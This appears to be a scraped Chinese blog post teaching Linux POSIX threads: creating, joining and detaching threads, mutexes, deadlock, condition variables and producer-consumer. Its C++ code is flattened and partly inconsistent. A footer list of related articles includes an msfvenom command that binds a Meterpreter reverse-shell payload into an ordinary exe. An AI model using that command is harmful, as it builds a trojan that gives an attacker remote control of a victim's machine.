Linux中的多线程
Linux线程概念
在一个程序里的一个执行路线就叫做线程(thread)。更准确的定义是:线程是“一个进程内部的控制序 列”

进程是系统分配资源的基本实体
线程是CPU调度的基本单位
POSIX线程库
创建线程
功能:创建一个新的线程
原型int pthread_create(pthread_t *thread, const pthread_attr_t *attr, void *
(*start_routine)(void*), void *arg);
参数thread:返回线程IDattr:设置线程的属性,attr为NULL表示使用默认属性start_routine:是个函数地址,线程启动后要执行的函数arg:传给线程启动函数的参数
返回值:成功返回0;失败返回错误码

ps -aL
查看所有执行流

两个进程pid相同,但lwp不同,lwp->(light weight process)轻量级进程
线程的私有资源
1.PCB属性私有
2.有一定的私有上下文结构
3.独立的栈结构
线程对应的函数运行完成后,线程也会结束。
线程等待
线程等待 为什么需要线程等待?
已经退出的线程,其空间没有被释放,仍然在进程的地址空间内。
创建新的线程不会复用刚才退出线程的地址空间。
功能:等待线程结束
原型int pthread_join(pthread_t thread, void **value_ptr);
参数thread:线程IDvalue_ptr:它指向一个指针,后者指向线程的返回值
返回值:成功返回0;失败返回错误码
线程终止
功能:线程终止
原型void pthread_exit(void *value_ptr);
参数value_ptr:value_ptr不要指向一个局部变量。
返回值:无返回值,跟进程一样,线程结束的时候无法返回到它的调用者(自身)
class ThreadData
{
public:pthread_t tid;char namebuffer[64];
};
void* start_routine(void* args)//可重入函数
void* start_routine(void* args)
{//可重入函数ThreadData* td=static_cast<ThreadData*>(args);int cnt=10;while (cnt){//cout<<"new thread create success, name: "<<td->namebuffer<<endl;cout<<"cnt: "<<cnt<<" &cnt: "<<&cnt<<endl;cnt--;sleep(1);}//delete td;pthread_exit(nullptr);//return nullptr;
}
vector<ThreadData*> threads;
#define NUM 10for(int i=0;i<NUM;i++){ThreadData* td= new ThreadData();snprintf(td->namebuffer,sizeof(td->namebuffer),"%s : %d","thread",i+1);pthread_create(&td->tid,nullptr,start_routine,td);threads.push_back(td);}for(auto& iter: threads){cout<<"create thread: "<<iter->namebuffer<<" : "<<iter->tid<<" success"<<endl;}for(auto& iter:threads){int n=pthread_join(iter->tid,nullptr);assert(n==0);cout<<"join : "<<iter->namebuffer<<" success"<<endl;delete iter;}cout<<"main thread quit"<<endl;

void* start_routine(void* args)
{//可重入函数ThreadData* td=static_cast<ThreadData*>(args);int cnt=10;while (cnt){//cout<<"new thread create success, name: "<<td->namebuffer<<endl;cout<<"cnt: "<<cnt<<" &cnt: "<<&cnt<<endl;cnt--;sleep(1);}//delete td;pthread_exit(nullptr);//return nullptr;return (void*)td->number;
}
for(auto& iter:threads){void* ret=nullptr;int n=pthread_join(iter->tid,&ret);//void** retp; *retp=(void*)td->numberassert(n==0);cout<<"join : "<<iter->namebuffer<<" success,number: "<<(long long)ret<<endl;delete iter;}cout<<"main thread quit"<<endl;
线程异常,收到信号,整个进程都会退出。
线程被取消其退出码为-1(PTHREAD_CANCELED)

pthread_t tid;pthread_create(&tid,nullptr,start_routine,(void*)"thread1");string main_id = changeId(pthread_self());pthread_detach(tid);
在主线程中将新线程分离

int g_val=100;
string changeId(const pthread_t& thread_id)
{char tid[120];snprintf(tid,sizeof tid," 0x%lx",thread_id);return tid;
}
void* start_routine(void* args)
{string threadname=static_cast<const char*>(args);int cnt=5;while(true){cout<<threadname<<"running ..."<<changeId(pthread_self())<<" g_val: "<<g_val<<" &g_val: "<<&g_val<<endl;g_val++;sleep(1);}
}
pthread_t tid;pthread_create(&tid,nullptr,start_routine,(void*)"thread1");string main_id = changeId(pthread_self());pthread_detach(tid);cout<<"main thread running, ...new thread id: "<<changeId(tid)<<"main thread id: "<<main_id<<endl;while(true){cout<<"main thread running... new thread id: "<<changeId(tid)<<"main thread id: "<<main_id<<" g_val: "<<g_val<<" &g_val: "<<&g_val<<endl;sleep(1);}
__thread int g_val=100;
添加__thread ,可以将一个内置类型设为线程局部储存,给每个线程各一份
封装thread
#pragma once#include<iostream>
#include<string>
#include<cstring>
#include<functional>
#include<pthread.h>using namespace std;class Thread;
class Context
{
public:Thread* this_;void* args_;
public:Context():this_(nullptr),args_(nullptr){}~Context(){}
};class Thread
{
public:typedef function<void*(void*)> func_t;const int num =1024;
public:Thread(func_t func,void* args,int number):func_(func),args_(args){char buffer[num];snprintf(buffer,sizeof buffer,"thread-%d",number);name_=buffer;Context* ctx=new Context();ctx->this_=this;ctx->args_=args_;int n=pthread_create(&tid_,nullptr,start_routine,ctx);}static void* start_routine(void* args){Context* ctx=static_cast<Context*>(args);void* ret=ctx->this_->run(ctx->args_);delete ctx;return ret;}void join(){int n=pthread_join(tid_,nullptr);}void* run(void* args){return func_(args);}~Thread(){}
private:string name_;pthread_t tid_;func_t func_;void* args_;
};
void* thread_run(void* args)
{string work_type=static_cast<const char*>(args);while(true){cout<<"我是一个新线程,我正在作: "<<work_type<<endl;sleep(1);}
}unique_ptr<Thread> thread1(new Thread(thread_run,(void*)"hellothread",1));unique_ptr<Thread> thread2(new Thread(thread_run,(void*)"hellothread",2));unique_ptr<Thread> thread3(new Thread(thread_run,(void*)"hellothread",3));thread1->join();thread2->join();thread3->join();

互斥量的接口
初始化互斥量
初始化互斥量有两种方法:
方法1,静态分配:
pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER
方法2,动态分配:
int pthread_mutex_init(pthread_mutex_t *restrict mutex, const pthread_mutexattr_t *restrict
attr); 参数: mutex:要初始化的互斥量 attr:NULL
销毁互斥量
销毁互斥量需要注意:
使用 PTHREAD_ MUTEX_ INITIALIZER 初始化的互斥量不需要销毁
不要销毁一个已经加锁的互斥量
已经销毁的互斥量,要确保后面不会有线程再尝试加锁
int pthread_mutex_destroy(pthread_mutex_t *mutex);
互斥量加锁和解锁
int pthread_mutex_lock(pthread_mutex_t *mutex);
int pthread_mutex_unlock(pthread_mutex_t *mutex);
返回值:成功返回0,失败返回错误号
单纯的 i++ 或者 ++i 都不是原子的,有可能会有数据一致性问题
大多数体系结构都提供了swap或exchange指令,该指令的作用是把寄存器和内存单 元的数据相交换,由于只有一条指令,保证了原子性,即使是多处理器平台,访问内存的 总线周期也有先后,一 个处理器上的交换指令执行时另一个处理器的交换指令只能等待总线周期。

共识:
1.CPU内寄存器只有一套被所有的执行流共享
2.CPU内寄存器的内容是每个执行流私有的->运行时上下文
封装mutex
#pragma once#include<iostream>
#include<pthread.h>class Mutex
{
public:Mutex(pthread_mutex_t* lock_p=nullptr):lock_p_(lock_p){}void lock(){if(lock_p_) pthread_mutex_lock(lock_p_);}void unlock(){if(lock_p_) pthread_mutex_unlock(lock_p_);}~Mutex(){}
private:pthread_mutex_t* lock_p_;
};class LockGuard
{
public:LockGuard(pthread_mutex_t* mutex):mutex_(mutex){mutex_.lock();}~LockGuard(){mutex_.unlock();}
private:Mutex mutex_;
};
死锁
死锁四个必要条件
互斥条件:一个资源每次只能被一个执行流使用
请求与保持条件:一个执行流因请求资源而阻塞时,对已获得的资源保持不放
不剥夺条件:一个执行流已获得的资源,在末使用完之前,不能强行剥夺
循环等待条件:若干执行流之间形成一种头尾相接的循环等待资源的关系
Linux线程同步
条件变量
当一个线程互斥地访问某个变量时,它可能发现在其它线程改变状态之前,它什么也做不了。
例如一个线程访问队列时,发现队列为空,它只能等待,只到其它线程将一个节点添加到队列中。这种情 况就需要用到条件变量。
条件变量函数 初始化
int pthread_cond_init(pthread_cond_t *restrict cond,const pthread_condattr_t *restrict
attr);
参数: cond:要初始化的条件变量 attr:NULL
销毁
int pthread_cond_destroy(pthread_cond_t *cond)
等待条件满足
int pthread_cond_wait(pthread_cond_t *restrict cond,pthread_mutex_t *restrict mutex); 参数: cond:要在这个条件变量上等待 mutex:互斥量,后面详细解释
唤醒等待
int pthread_cond_broadcast(pthread_cond_t *cond);
int pthread_cond_signal(pthread_cond_t *cond);
#include<iostream>
#include<string>
#include<unistd.h>
#include<pthread.h>using namespace std;
int tickets=1000;
pthread_mutex_t mutex= PTHREAD_MUTEX_INITIALIZER;
pthread_cond_t cond=PTHREAD_COND_INITIALIZER;void* start_routine(void* args)
{char* name= static_cast<char*>(args);while (true){pthread_mutex_lock(&mutex);pthread_cond_wait(&cond,&mutex);cout<<name<<" -> "<<tickets<<endl;tickets--;pthread_mutex_unlock(&mutex);}}
int main()
{//通过条件变量控制线程执行pthread_t t[5];for(int i=0;i<5;i++){char* name= new char[64];snprintf(name,64,"thread: %d",i+1);pthread_create(t+i,nullptr,start_routine,name);}while(true){sleep(1);pthread_cond_signal(&cond);//唤醒条件变量下的线程}for(int i=0;i<5;i++){pthread_join(t[i],nullptr);}return 0;
}
生产者消费者模型

总结(321原则):
3种关系:
生产者和生产者(互斥)
消费者和消费者(互斥)
生产者和消费者(互斥->保证共享资源的安全性,同步)
2种角色:
生产者线程,消费者线程
1个交易场所:
一段特点结构的缓存区
相关文章:
Linux中的多线程
Linux线程概念 在一个程序里的一个执行路线就叫做线程(thread)。更准确的定义是:线程是“一个进程内部的控制序 列” 进程是系统分配资源的基本实体 线程是CPU调度的基本单位 POSIX线程库 创建线程 功能:创建一个新的线程 原…...
《计算机原理与系统结构》学习系列
系列文章目录 一、计算机概要与技术 二、指令:计算机的语言(上) 三、指令:计算机的语言(中) 四、指令:计算机的语言(下) 五、计算机的算数运算(上&#…...
征程6 工具链常用工具和 API 整理(含新手示例)
1.引言 征程6 工具链目前已经提供了比较丰富的集成化工具和接口来支持模型的移植和量化部署,本帖将整理常用的工具/接口以及使用示例来供大家参考,相信这篇文章会提升大家对 征程6 工具链的使用理解以及效率。 干货满满,欢迎访问 2.hb_con…...
我有一张图,我怎么让midjourney按照这张图继续生成呢?
使用文字生成图片是一种基本的功能,但是还有一种场景,不是从文字生成图片,而是基于已有的一张图片生成另一张图片,这个时候,就需要以图生图的功能了。 以图生图:image to image generator 以图生图技术让我们见识到…...
MSF捆绑文件
msf捆绑文件 msf快速打开不启动banner msfconsole -q msf捆绑文件 msfvenom -p windows/meterpreter/reverse_tcp LHOST127.0.0.1 LPORT8888 -f exe -x 1.exe -o msf.exe...
01_SQLite
文章目录 ** SQLite 存储各类和数据类型 **** SQLite 五种亲缘类型** SQLite 创建数据表删除数据表插入数据信息从数据表中获取数据,以结果表的形式返回数据(结果集)updatedistinctorder bygroup byhaving触发器删除一个触发器(tr…...
【STM32开发笔记】移植AI框架TensorFlow到STM32单片机【下篇】
【STM32开发笔记】移植AI框架TensorFlow到STM32单片机【下篇】 一、上篇回顾二、项目准备2.1 准备模板项目2.2 支持计时功能2.3 配置UART4引脚2.4 支持printf重定向到UART42.5 支持printf输出浮点数2.6 支持printf不带\r的换行2.7 支持ccache编译缓存 三、TFLM集成3.1 添加tfli…...
畅阅读小程序|畅阅读系统|基于java的畅阅读系统小程序设计与实现(源码+数据库+文档)
畅阅读系统小程序 目录 基于java的畅阅读系统小程序设计与实现 一、前言 二、系统功能设计 三、系统实现 四、数据库设计 1、实体ER图 五、核心代码 六、论文参考 七、最新计算机毕设选题推荐 八、源码获取: 博主介绍:✌️大厂码农|毕设布道师…...
【机器学习(十一)】糖尿病数据集分类预测案例分析—XGBoost分类算法—Sentosa_DSML社区版
文章目录 一、XGBoost算法二、Python代码和Sentosa_DSML社区版算法实现对比(一) 数据读入和统计分析(二)数据预处理(三)模型训练与评估(四)模型可视化 三、总结 一、XGBoost算法 关于集成学习中的XGBoost算法原理,已经进行了介绍与总结,相关内容可参考【…...
二分查找一>寻找峰值
1.题目: 2.解析: 暴力遍历代码:O(N),由于该题数据很少所以可以通过 暴力遍历:O(N),由于该题数据很少所以可以通过int index 0;for(int i 1; i < nums.length-1; i) {//某段区域内一直递增,更新就indexif(nums[i]…...
《Linux从小白到高手》理论篇:深入理解Linux的网络管理
今天继续宅家,闲来无事接着写。本篇详细深入介绍Linux的网络管理。 如你所知,在Linux中一切皆文件。网卡在 Linux 操作系统中用 ethX,是由 0 开始的正整数,比如 eth0、eth1… ethX。而普通猫和ADSL 的接口是 pppX,比如 ppp0 等。 …...
redis数据类型介绍
1. 字符串(String) 字符串是 Redis 中最基本的数据类型,它可以存储任何形式的字符串,包括文本、数字等。字符串类型的操作非常丰富,比如 SET、GET、INCR(自增)、DECR(自减࿰…...
一张照片变换古风写真,Flux如何做到?
前言 解锁图像创作新体验:ComfyUI指南 在AI图像生成领域,ComfyUI 已成为不可忽视的力量。它是基于Stable Diffusion的图像生成工具,提供了一个节点式图形用户界面(GUI),让用户可以通过简单的拖拽与配置来…...
医药行业的智能合同审查:大模型与AI赋能合规管理
随着医药行业的快速发展,尤其是在全球化背景下,企业在业务拓展、合作协议签订中需要处理大量复杂的合同。合同不仅是业务的法律保障,更是风险管理的重要工具。医药行业合同审查的复杂性源于其严格的合规性要求,包括与政府机构、研…...
幂等性接口实现
1、什么是幂等性 幂等(idempotence),这个词源自数学,幂等性是数学中的一个概念,常见于抽象代数中。表达的是N次变换与1次变换的结果相同。简单来说,就是如果方法调用一次和调用多次产生的效果是相同的&…...
C++ 语言特性29 - 协程介绍
一:什么是协程 C20 引入了协程(coroutine),这是 C 标准库中一个强大的新特性。协程是一种可以在执行中暂停并随后恢复的函数,允许程序在异步或并行场景下高效管理任务,而不需要传统的线程或复杂的回调机制。…...
[Day 84] 區塊鏈與人工智能的聯動應用:理論、技術與實踐
AI在公共安全中的應用實例 引言 隨著技術的進步,人工智能(AI)在公共安全領域的應用越來越廣泛。AI不僅能夠提高安全部門的工作效率,還能有效幫助預防和處理各類公共安全事件。從人臉識別、行為分析到災害預測,AI正在…...
八大排序--01冒泡排序
假设有一组数据 arr[]{2,0,3,4,5,7} 方法:开辟两个指针,指向如图,前后两两进行比较,大数据向后冒泡传递,小数据换到前面。 一次冒泡后,数组中最大…...
【Kubernetes】常见面试题汇总(五十)
目录 112.考虑一个公司要向具有各种环境的客户提供所有必需的分发产品的方案。您如何看待他们如何动态地实现这一关键目标? 113.假设一家公司希望在从裸机到公共云的不同云基础架构上运行各种工作负载。在存在不同接口的情况下,公司将如何实现这一目标&…...
Linux 操作系统中的 main 函数参数和环境变量
在聊进程替换之前,有一些基础知识我们得先弄清楚。掌握了这些内容,不仅能让你更轻松地理解 Shell 是如何工作的,还能为之后的进程替换操作铺好路。进程替换说白了就是 Shell 的基本原理,它能把一个命令的输出直接当成另一个命令的…...
【OSG学习笔记】Day 18: 碰撞检测与物理交互
物理引擎(Physics Engine) 物理引擎 是一种通过计算机模拟物理规律(如力学、碰撞、重力、流体动力学等)的软件工具或库。 它的核心目标是在虚拟环境中逼真地模拟物体的运动和交互,广泛应用于 游戏开发、动画制作、虚…...
《通信之道——从微积分到 5G》读书总结
第1章 绪 论 1.1 这是一本什么样的书 通信技术,说到底就是数学。 那些最基础、最本质的部分。 1.2 什么是通信 通信 发送方 接收方 承载信息的信号 解调出其中承载的信息 信息在发送方那里被加工成信号(调制) 把信息从信号中抽取出来&am…...
鸿蒙中用HarmonyOS SDK应用服务 HarmonyOS5开发一个生活电费的缴纳和查询小程序
一、项目初始化与配置 1. 创建项目 ohpm init harmony/utility-payment-app 2. 配置权限 // module.json5 {"requestPermissions": [{"name": "ohos.permission.INTERNET"},{"name": "ohos.permission.GET_NETWORK_INFO"…...
OpenPrompt 和直接对提示词的嵌入向量进行训练有什么区别
OpenPrompt 和直接对提示词的嵌入向量进行训练有什么区别 直接训练提示词嵌入向量的核心区别 您提到的代码: prompt_embedding = initial_embedding.clone().requires_grad_(True) optimizer = torch.optim.Adam([prompt_embedding...
docker 部署发现spring.profiles.active 问题
报错: org.springframework.boot.context.config.InvalidConfigDataPropertyException: Property spring.profiles.active imported from location class path resource [application-test.yml] is invalid in a profile specific resource [origin: class path re…...
佰力博科技与您探讨热释电测量的几种方法
热释电的测量主要涉及热释电系数的测定,这是表征热释电材料性能的重要参数。热释电系数的测量方法主要包括静态法、动态法和积分电荷法。其中,积分电荷法最为常用,其原理是通过测量在电容器上积累的热释电电荷,从而确定热释电系数…...
CVE-2020-17519源码分析与漏洞复现(Flink 任意文件读取)
漏洞概览 漏洞名称:Apache Flink REST API 任意文件读取漏洞CVE编号:CVE-2020-17519CVSS评分:7.5影响版本:Apache Flink 1.11.0、1.11.1、1.11.2修复版本:≥ 1.11.3 或 ≥ 1.12.0漏洞类型:路径遍历&#x…...
Cilium动手实验室: 精通之旅---13.Cilium LoadBalancer IPAM and L2 Service Announcement
Cilium动手实验室: 精通之旅---13.Cilium LoadBalancer IPAM and L2 Service Announcement 1. LAB环境2. L2公告策略2.1 部署Death Star2.2 访问服务2.3 部署L2公告策略2.4 服务宣告 3. 可视化 ARP 流量3.1 部署新服务3.2 准备可视化3.3 再次请求 4. 自动IPAM4.1 IPAM Pool4.2 …...
在鸿蒙HarmonyOS 5中使用DevEco Studio实现指南针功能
指南针功能是许多位置服务应用的基础功能之一。下面我将详细介绍如何在HarmonyOS 5中使用DevEco Studio实现指南针功能。 1. 开发环境准备 确保已安装DevEco Studio 3.1或更高版本确保项目使用的是HarmonyOS 5.0 SDK在项目的module.json5中配置必要的权限 2. 权限配置 在mo…...
Spring AOP代理对象生成原理
代理对象生成的关键类是【AnnotationAwareAspectJAutoProxyCreator】,这个类继承了【BeanPostProcessor】是一个后置处理器 在bean对象生命周期中初始化时执行【org.springframework.beans.factory.config.BeanPostProcessor#postProcessAfterInitialization】方法时…...
